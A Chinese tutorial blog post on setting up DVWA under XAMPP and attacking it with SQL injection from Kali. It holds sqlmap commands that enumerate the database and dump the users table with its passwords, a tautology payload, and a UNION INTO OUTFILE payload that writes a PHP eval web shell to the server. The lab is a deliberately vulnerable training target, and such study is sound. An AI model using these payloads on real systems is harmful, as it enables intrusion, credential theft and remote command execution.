对DVWA进行SQL注入

我用的是在VMware下的虚拟机,在这就不说如何安装kali和win7了,各位自己去网上找一下大神们的教程,就很容易安装了。(统一说明:为了安全性等各方面考虑,下载软件最好到软件的官网上去下载)我用的系统如下:
kali:192.168.0.183 进行SQL注入
win7:192.168.0.184 安装xampp,搭建dvwa环境

dvwa使用PHP写的,所以首先需要搭建web运行环境,我这里使用的是xampp,本人用的方便快捷,比较顺手,也比较熟悉。

1、安装xampp

下载对应版本的xampp,上xampp官网:https://www.apachefriends.org/download.html ,安装过程没啥好说的,点击“下一步”直到安装完成,我是装在C盘根目录(因为是虚拟机win7)

打开之后在出现的“XAMPP控制面板窗口”中,点击“Apache”同行的“Config按钮”,然后选择“Apache (httpd.conf)”,打开http的配置文件。
在这里插入图片描述

在打开的“httpd.conf文件”中,找到“Listen”后,将其端口改为“8000”(默认的80端口并不安全,8005,8009,8080端口会被Tomcat占用),保存修改后,关闭该文件。
在这里插入图片描述

返回“XAMPP控制面板窗口”中,继续点击“MySQL”右侧的“Config按钮”,然后选择弹出菜单中的“my.ini”,打开MySQL的配置文件。
在这里插入图片描述

在打开的“my.ini文件”中,找到“[client]”后,可以设置客户端连接MySQL的密码和端口。设置并保存后,可以直接关闭该文件。
在这里插入图片描述

点击“Apache”同行的“admin”,如果见到XAMPP的欢迎页,表示Apache工作正常。
在这里插入图片描述

2、安装dvwa

到dvwa官网上:http://www.dvwa.co.uk/ 下载最新的压缩包
在这里插入图片描述

下载后,将其解压到xampp安装路径下的htdocs目录下
在这里插入图片描述

然后进入DVWA,打开config目录里的config.inc.php ,修改数据库的账号密码(该密码与你前面xampp内MySQL数据库的账号密码一致)
在这里插入图片描述

打开浏览器,输入http://127.0.0.1/DVWA/setup.php ,点击下面的按钮,就会自动创建数据库
在这里插入图片描述

接着会跳转到DVWA的登录页面默认用户名:admin ,默认密码:password 成功登录在这里插入图片描述在这里插入图片描述
到这里,测试环境dvwa算是搭建好了。

3、kali下的SQL注入

(1)在kali下打开浏览器,输入http://192.168.0.184(win7的IP地址)/DVWA/login.php 输入账号密码登录进去,然后点击左侧的“DVWA Security”,选择“low”级别,点击选定。

(2)打开火狐浏览器,添加附件组件tamper data,安装后打开,然后登录dvwa,获取cookie值
在这里插入图片描述
在这里插入图片描述

(3)获取要测试的url,点击SQL Injection菜单,在输入框输入1,点击submit,获取待测试的url:http://192.168.169.129/dvwa/vulnerabilities/sqli/id=1&Submit=Submit#
在这里插入图片描述

(4)使用sqlmap测试该url是否存在sql注入漏洞,返回MySQL数据库的版本信息
root@kali:~# sqlmap -u “http://192.168.169.129/dvwa/vulnerabilities/sqli/id=1&Submit=Submit#” --cookie=“security=low; PHPSESSID=n4tkop4ku1lbmsa4o6326vsv90”
在这里插入图片描述
在这里插入图片描述

(5)探测MYSQL的数据库名称
root@kali:~# sqlmap -u “http://192.168.169.129/dvwa/vulnerabilities/sqli/id=1&Submit=Submit#” --cookie=“security=low; PHPSESSID=pu63p86c54jurn59bms72637h5” --dbs
在这里插入图片描述
(6)查询dvwa数据库存在的表名
root@kali:~# sqlmap -u “http://192.168.169.129/dvwa/vulnerabilities/sqli/id=1&Submit=Submit#” --cookie=“security=low; PHPSESSID=pu63p86c54jurn59bms72637h5” -D dvwa --tables
在这里插入图片描述
(7)查询users表中的字段列表
root@kali:~# sqlmap -u “http://192.168.169.129/dvwa/vulnerabilities/sqli/id=1&Submit=Submit#” --cookie=“security=low; PHPSESSID=pu63p86c54jurn59bms72637h5” -D dvwa --tables -T users --columns
在这里插入图片描述
(8)导出users表,会列出所有的列的用户名和密码,sqlmap会提出是否破解密码,按回车确定
root@kali:~# sqlmap -u “http://192.168.169.129/dvwa/vulnerabilities/sqli/id=1&Submit=Submit#” --cookie=“security=low; PHPSESSID=pu63p86c54jurn59bms72637h5” -D dvwa --tables -T users --columns --dump
在这里插入图片描述
这时就可以利用admin账户登录做任何事了。

### DVWA SQL Injection Tutorial #### 实验环境搭建 为了测试和学习SQL注入漏洞,通常会使用DVWA(Damn Vulnerable Web Application)。这是一个专门设计用于教育目的的应用程序,其中包含了多种安全漏洞供用户实践。在实验之前,请确保已安装并配置好DVWA运行所需的Web服务器、PHP以及MySQL数据库[^1]。 #### 基本原理 SQL注入是一种常见的网络安全威胁形式,在这种攻击中,攻击者能够向应用程序提交恶意的SQL代码片段,这些代码会被嵌入到正常的SQL查询语句之中被执行。如果目标应用未能正确验证或转义用户的输入,则可能导致敏感数据泄露或其他严重后果[^3]。 #### 利用过程分析 当访问`http://127.0.0.1/dvwa/vulnerabilities/sqli/`页面时,默认情况下它会显示一条记录的信息。此功能背后存在安全隐患——即直接将未经处理过的外部变量值拼接到动态构建出来的SQL指令里去检索对应的数据项: ```sql SELECT first_name, last_name FROM users WHERE user_id = '$id'; ``` 由于上述实现缺乏必要的防护措施比如白名单校验或者预编译占位符技术等,所以很容易受到攻击者的操控。例如尝试提交如下payload作为参数之一的部分内容来观察返回结果的变化情况: ```plaintext 1' OR '1'='1 -- - ``` 这实际上修改了原始查询逻辑成为始终成立条件下的全表扫描操作[^2]: ```sql SELECT first_name, last_name FROM users WHERE user_id = '' OR '1'='1'-- '; ``` #### 高级技巧展示 除了简单的布尔型盲注之外,还可以借助联合查询(UNION SELECT)的方式进一步获取更多有用情报甚至控制权。下面是一个实例说明如何创建一个新的PHP文件于远程主机上以便后续反序列化触发任意命令执行等功能扩展可能性[^4]: ```bash 1' UNION ALL SELECT NULL,'<?php @eval($_POST["cmd"]);?>' INTO OUTFILE 'D:/web\PhpStudy20180211\PHPTutorial\WWW\x.php';# ``` 请注意实际部署环境中路径可能有所不同需自行调整适配具体场景需求。 #### 安全建议 为了避免此类风险的发生,开发人员应当遵循最佳编码规范如采用ORM框架自动映射关系模型减少手动编写复杂SQL的机会;同时启用严格的输入验证机制防止非法字符混入最终到达数据库层面前就被拦截下来。 ---
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值